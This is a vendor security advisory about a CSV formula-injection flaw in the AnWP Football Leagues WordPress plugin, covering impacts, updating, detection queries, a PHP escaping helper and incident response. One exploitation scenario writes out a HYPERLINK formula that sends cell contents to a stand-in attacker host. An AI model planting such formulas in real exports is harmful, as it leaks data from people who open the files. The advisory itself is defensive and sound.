플러그인 이름	AnWP Football Leagues
Type of Vulnerability	CSV injection
CVE Number	CVE-2025-8767
긴급	낮은
CVE Publish Date	2025-08-11
Source URL	CVE-2025-8767

CSV Injection in AnWP Football Leagues (≤ 0.16.17) — Technical breakdown, risk assessment and step‑by‑step remediation

요약: A CSV Injection vulnerability (CVE‑2025‑8767) was disclosed affecting AnWP Football Leagues versions up to and including 0.16.17. The issue requires an authenticated Administrator to create or export CSV content that contains spreadsheet formulas or other dangerous prefixes. When exported CSV files are opened in spreadsheet applications (Excel, LibreOffice Calc, Google Sheets), specially crafted fields can be interpreted as formulas, potentially leading to data leak, local command execution on the spreadsheet user’s machine, or other downstream impacts. Version 0.16.18 contains a fix — site owners should update immediately and follow the mitigation and detection steps below.

This article explains:

• What CSV Injection is and how it works
• How this specific vulnerability can be abused
• Realistic impact for WordPress site operators
• Immediate mitigations and long‑term fixes (including virtual patching)
• Detection and hunting techniques
• Recommendations for plugin developers to prevent similar issues
• How WP‑Firewall can help protect your site (free and paid options)

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What is CSV Injection?

CSV Injection (sometimes called “Formula Injection” or “Excel Injection”) happens when untrusted data is exported into a CSV file and fields begin with characters that spreadsheet programs interpret as formulas. Common leading characters that trigger formula evaluation include:

• =
• +
• –
• @

If a CSV field begins with one of those characters, Microsoft Excel, LibreOffice Calc or other spreadsheet programs will try to evaluate it as a formula. Malicious formulas can:

• execute local commands using legacy features (e.g., Excel DDE in older versions);
• exfiltrate data by using functions such as HYPERLINK to call web resources (some attackers use this to leak cell contents);
• perform actions inside the spreadsheet that lead to credential exposure or social engineering; or
• cause macros or other unsafe behavior to be invoked on vulnerable clients.

This class of vulnerability does not directly compromise the WordPress server in most cases — it targets the user who opens the exported CSV with a spreadsheet application. However, because spreadsheets are commonly opened by administrators and other privileged users, a CSV Injection can be a stepping stone to account compromise, credential theft and broader operational impacts.

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The vulnerability: details and scope

• Affected software: AnWP Football Leagues plugin for WordPress
• Vulnerable versions: ≤ 0.16.17
• Fixed in: 0.16.18
• CVE: CVE‑2025‑8767
• Required privilege: Administrator (authenticated)
• Severity: Low (CVSS 4.8), but context matters

What we know about this entry:

• The plugin allowed exporting CSV content that included unescaped user‑controlled data (player names, team names, custom fields, etc.).
• An authenticated Administrator can create or import records containing fields beginning with “=”, “+”, “-” or “@”. When exported, these fields remain unescaped; if another user (including the same Administrator) opens the CSV in a spreadsheet application, the payload may execute or leak information.
• Because exploitation requires admin privileges to insert the malicious payload on the site, the attack is not trivially exploitable by anonymous visitors. However, account takeover, privilege abuse, or social engineering could still enable exploitation.

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Realistic exploitation scenarios

Always think in terms of the chain an attacker needs to follow. Here are realistic scenarios where CSV Injection becomes a threat:

1. Malicious admin or compromised admin account
   • An attacker obtains Administrator credentials (phishing, reused password, leaked credentials).
   • They create players/teams or edit fields to include a malicious formula such as:
     =HYPERLINK("http://attacker.example/steal?data="&A1)
   • Later, a site operator exports site data to CSV and opens it in Excel. The formula executes or the operator clicks a link, leaking content.
2. Third‑party content or import feature
   • Administrators often import content from external sources. If imports aren’t sanitized, an attacker could poison imported data.
   • Later exports will include the dangerous fields.
3. Shared operations
   • A marketing or admin user exports CSV and shares with finance; the recipient opens the CSV in Excel and triggers the formula.
4. Chaining with social engineering
   • An attacker inserts a mildly suspicious entry, then persuades an admin to export and open the CSV (e.g., “Please export the player list for printing”). The admin opens the CSV and triggers the payload.

Even though exploitation requires privileged write access to the WordPress site to place the payload into a data field, real‑world risk is non‑trivial because administrators often receive CSVs and spreadsheet users may not expect formula injection.

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Practical impacts

• Local exploitation: depending on the spreadsheet application and OS, formulas can invoke local subsystems (especially in older Office versions), potentially running commands on the client machine.
• Data exfiltration: formulas can turn spreadsheet cell contents into URLs (e.g., HYPERLINK) that cause the client to request attacker‑controlled servers, leaking data.
• Credential harvesting: tricking a user into clicking a link or enabling macros can lead to malware or credential capture outside WordPress.
• Operational disruption: a malicious or malformed formula can corrupt spreadsheet workflows, causing financial or operational mistakes.
• Reputation and compliance: leaking user or customer information may trigger data breach processes and regulatory obligations.

Although the direct server compromise is uncommon with pure CSV Injection, the downstream risks to administrators and internal users are real and can lead to wider compromise.

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Immediate actions for WordPress site owners (incident‑first checklist)

If you run AnWP Football Leagues, follow this immediate remediation checklist:

1. Update the plugin
   • Upgrade AnWP Football Leagues to version 0.16.18 or later immediately. This is the single most important step.
2. Revoke exported files
   • If you distributed exported CSVs since you last exported prior to the fixed release, treat them as potentially unsafe. Notify recipients and avoid opening them locally until they are scanned or sanitized.
3. Restrict CSV export functionality temporarily
   • If you cannot update immediately, consider disabling the plugin’s CSV export capability (via plugin settings or by removing the export UI), or remove the plugin temporarily.
4. Audit Admin accounts
   • Review all Administrator accounts. Remove unused accounts, change passwords for accounts you suspect could be compromised, and enforce strong passwords and 2‑factor authentication (2FA) for admin roles.
5. Scan for suspicious fields
   • Search your database for fields starting with =, +, -, or @. Example SQL queries (adjust table names where plugin stores data):
   • Search wp_posts: SELECT ID, post_title FROM wp_posts WHERE post_title LIKE '=%' OR post_title LIKE '+%' OR post_title LIKE '-%' OR post_title LIKE '@%';
   • Search postmeta and options similarly:
     SELECT meta_id, meta_key, meta_value FROM wp_postmeta WHERE meta_value REGEXP '^[=+\-@]';
   • Also search custom plugin tables if present.
6. Rotate credentials
   • Rotate admin passwords and any API keys that could be exposed to exported data, especially if you suspect an admin account was compromised.
7. Backup and scan
   • Take a full backup of your site and run a server/malware scan. Inspect logs for suspicious export events or logins around the same timestamps.
8. Educate staff
   • Remind staff and recipients not to open untrusted CSV files on machines where sensitive operations occur. Use sandboxed environments for inspection if necessary.
9. Apply WAF/virtual patch
   • If you use a managed firewall or security service, enable protection or virtual patching for CSV exports (see section below on virtual patching).

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How to neutralize CSV fields: safe escaping and recommended server-side code

If you maintain a plugin or custom export, always neutralize any field that might be interpreted as a formula. A common and effective approach is to prefix potentially dangerous fields with a single quote (‘) — spreadsheet programs treat it as an escape, showing the value without evaluation.

Example PHP helper (use in plugin exports):

<?php
/**
 * Escape CSV field to prevent spreadsheet formula execution.
 *
 * This adds a leading single quote when the field starts with = + - or @
 * so spreadsheet software treats it as a literal.
 */
function wpfirewall_escape_csv_field( string $value ): string {
    if ($value === null || $value === '') {
        return $value;
    }

    // Normalize to string
    $value = (string) $value;

    // Trim BOM and whitespace if needed
    $trimmed = ltrim($value, "\xEF\xBB\xBF"); // remove possible BOM

    // If it begins with any of the dangerous characters, prefix with a single quote.
    if (preg_match('/^[=+\-@]/u', $trimmed)) {
        // Use a single quote to make the spreadsheet treat it as text.
        return "'" . $value;
    }

    return $value;
}
?>

When writing CSV rows, prefer using PHP’s fputcsv which handles quoting and escaping safely:

$fp = fopen('php://output', 'w');
$row = [
    wpfirewall_escape_csv_field($player_name),
    wpfirewall_escape_csv_field($team_name),
    wpfirewall_escape_csv_field($email),
];
fputcsv($fp, $row);
fclose($fp);

Notes:

• Do not attempt to rely on client‑side behaviour or the spreadsheet software configuration.
• The single quote is the most portable mitigation. Some implementors also prepend a tab character or a space, but these may be visible and change downstream workflows.
• Ensure escaping happens after any Unicode normalization so that attackers can’t bypass checks with invisible characters.

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Quick server‑side checklist for developers and site integrators

If you are a plugin author or maintain custom export code, add these protections:

1. Always sanitize output going into CSV
   • Escape fields as shown (prefix '' for dangerous starters).
2. Enforce capability checks
   • Ensure only authorized roles can export data. Use WordPress capability checks (e.g., current_user_can('manage_options') or a more specific capability).
3. Use nonces for actions that trigger exports
   • Verify nonces to prevent CSRF‑style forced exports that could be used in social engineering.
4. Prefer fputcsv
   • Avoid building CSV strings manually. fputcsv handles quoting and escaping of separators and quotes.
5. Document exported content
   • Explain the content of each CSV field and warn admins about spreadsheet risks in the UI.
6. Add unit and integration tests
   • Add tests to ensure fields starting with =, +, -, or @ are properly escaped.
7. Offer safe export options
   • Provide an option to export as sanitized JSON or to force all exported fields to be string‑escaped.

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Virtual patching and WAF mitigations (how WP‑Firewall can help)

If you cannot immediately update the plugin (for compatibility testing, staging or other reasons), virtual patching can mitigate risk quickly. Virtual patching means intercepting or modifying either the request or the response to block malicious behavior before it reaches the application or the client.

WP‑Firewall can deploy temporary protections such as:

• Block or require additional verification (nonce/capability) for requests that trigger CSV exports. If an export endpoint is invoked without a valid nonce, block it.
• Inspect outgoing CSV responses and rewrite potentially dangerous fields on the fly — for example, during output buffering the WAF can scan for CSV lines and prefix fields starting with =, +, -, or @ with a single quote before delivering the file to the client.
• Create a specific signature rule: detect requests to known plugin export endpoints (URL path patterns, admin_post hooks, query parameters), and either block exports or sanitize the response.
• Alert administrators when a CSV export endpoint is used by a user account that normally doesn’t export.

Example pseudo‑rule logic (conceptual):

• IF request path contains "/admin.php?page=anwppro_export" OR matches plugin export endpoints
  AND user session is authenticated
  AND nonce verification failed OR user capability is suspect
  THEN block export OR respond with 403 and log event.

Output rewriting example (pseudocode):

• Buffer response for content‑type: text/csv
• For each CSV field, if field begins with ^[=+\-@] then prefix with single quote
• Return rewritten CSV to client

Advantages of virtual patching:

• Fast deployment (no code change to the plugin)
• Reduces window of exposure
• Can be applied selectively (only to affected endpoints)

Limitations:

• Rewriting large CSV responses may be resource‑intensive
• Patching should be considered temporary: update plugin as soon as a patch is available

WP‑Firewall users (including those on the free Basic plan) get managed firewall protection, WAF rules and malware scanning to reduce exposure from known issues while you schedule and test plugin updates.

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Hunting: how to search for potentially affected data and exports

To find traces of dangerous fields in your site content, perform the following checks:

1. Database search for suspicious leading characters
   • Search tables where plugin stores player/team names (posts, postmeta, custom tables). Use REGEXP to find entries starting with dangerous characters:
     SELECT * FROM wp_postmeta WHERE meta_value REGEXP '^[=+\\-@]';
   • Search wp_posts.title and wp_posts.content similarly.
2. File system and backups
   • Inspect recent exported CSV files in backups or download directories for suspicious formulas.
   • Use grep:
     grep -R --line‑number -E '^[=+\-@]' *.csv
3. Audit logs
   • Check WordPress activity logs (if you have them) for export actions, plugin admin screens visited, or anomalous logins.
4. Server logs
   • Look for requests to plugin export endpoints and note the authenticated user. Correlate with login events.
5. Scan for signs of compromise
   • If you find suspicious formulas and you believe an admin was compromised, assume potential wider compromise: check for new admin users, modified plugins/themes, and unexpected scheduled tasks (wp_cron).

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Incident response: step‑by‑step playbook

If you detect evidence that a CSV containing formula exploits has been produced or opened, follow this playbook:

1. Isolate
   • If the CSV was opened on a workstation that may be compromised, isolate that workstation from the network.
2. Preserve evidence
   • Make copies of the CSV in question, server logs, and activity logs. Record timestamps, user accounts, and IP addresses.
3. Contain
   • Disable the plugin export functionality until you apply the vendor fix.
   • If exploitation was triggered on a workstation, remove the device from the network and run forensic scanning from a clean environment.
4. Eradicate
   • Update AnWP Football Leagues to 0.16.18 or later.
   • Clean any signs of compromise on servers and endpoints.
   • Reset admin credentials where appropriate and rotate secrets.
5. Recover
   • Restore clean backups if necessary and monitor for suspicious activity.
   • Rebuild or reimage compromised endpoints and rejoin to the network only after validation.
6. 알림
   • Inform stakeholders and affected users if personal data might have been leaked.
7. Post‑incident
   • Review processes: limit admin role distribution, enable 2FA, harden workflows for exporting and reviewing files.

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Developer guidance: secure patterns to avoid CSV Injection

If you develop WordPress plugins or site integrations, adopt these secure practices:

• Treat any exported data as untrusted — even admin‑entered content.
• Escape CSV fields server‑side using a safe routine (see earlier helper).
• Provide a configuration option to enforce escaping for all exports.
• Protect export actions with capability checks and nonces.
• Log export events with user ID, IP and timestamp for auditing.
• Educate end users in your plugin documentation about export safety and spreadsheet risks.

Unit test examples:

• Test that names starting with “=” are escaped.
• Test that multiline fields are properly quoted in CSV.
• Test that nonces are required for export endpoints.

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Why least privilege and 2FA matter here

This vulnerability highlights the importance of reducing attack surface:

• Limit the number of Administrator accounts on your site. Only users who truly need full admin rights should have them.
• Use lower privileges for routine tasks (editor, author). Implement role separation so exports and imports can be performed with specific capabilities.
• Require 2FA for Administrator accounts. Even if credentials are phished, the attacker is far less likely to gain access.

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Example communications: short notification for internal teams

Subject: Security advisory — CSV export vulnerability in AnWP Football Leagues (action required)

Body:
Hi team,

A CSV Injection vulnerability affecting AnWP Football Leagues (≤ 0.16.17) has been published. If you have exported or opened CSVs from our site recently, treat them as potentially unsafe.

Actions taken:
– I will update the plugin to 0.16.18 immediately.
– I have temporarily disabled export functionality until the update is applied.
– Please do not open any CSV files from the site until I confirm they are safe.

If you’ve received a CSV from our site in the last 7 days, forward it to [email protected] and avoid opening it on your workstation.

Thanks,
[Name], Site Security

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Long‑term recommendations for site owners

• Keep plugins and themes up to date. Apply security patches in a staging environment and then to production.
• Subscribe to security notifications for your plugin ecosystem and maintain a vulnerability alerting mechanism.
• Use automated backups and configuration that allows quick rollback.
• Implement a Web Application Firewall (WAF) and intrusion detection — and enable virtual patching for critical windows.
• Monitor user activity and keep a small set of administrators.
• Maintain an incident response plan that includes spreadsheet and office‑package risks.

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Final thoughts and our recommended short‑term checklist

To summarize — what to do in the next 60 minutes:

1. Check your AnWP Football Leagues version; if ≤ 0.16.17, schedule a plan to upgrade to 0.16.18 immediately.
2. If you have a staging environment, test the update there first; otherwise prepare a backup before updating production.
3. Disable any CSV export endpoints until the plugin is updated if you cannot patch immediately.
4. Run database queries and grep to find fields starting with =, +, – or @ and sanitize or quarantine them.
5. Rotate credentials for admin users you suspect may be compromised, enforce 2FA and narrow admin access.
6. Turn on or request virtual patching from your security provider to neutralize exports until the code is patched.

If you need help applying the update, hunting for suspicious fields, or deploying a virtual patch to neutralize CSV exports on your site, WP‑Firewall’s free plan can get you started with essential protection today: https://my.wp-firewall.com/buy/wp-firewall-free-plan/

Stay safe, and remember: vulnerabilities like CSV Injection are easy to overlook — but with prompt updates, least‑privilege practices and simple output escaping, they are straightforward to neutralize.

— WP‑Firewall Security Team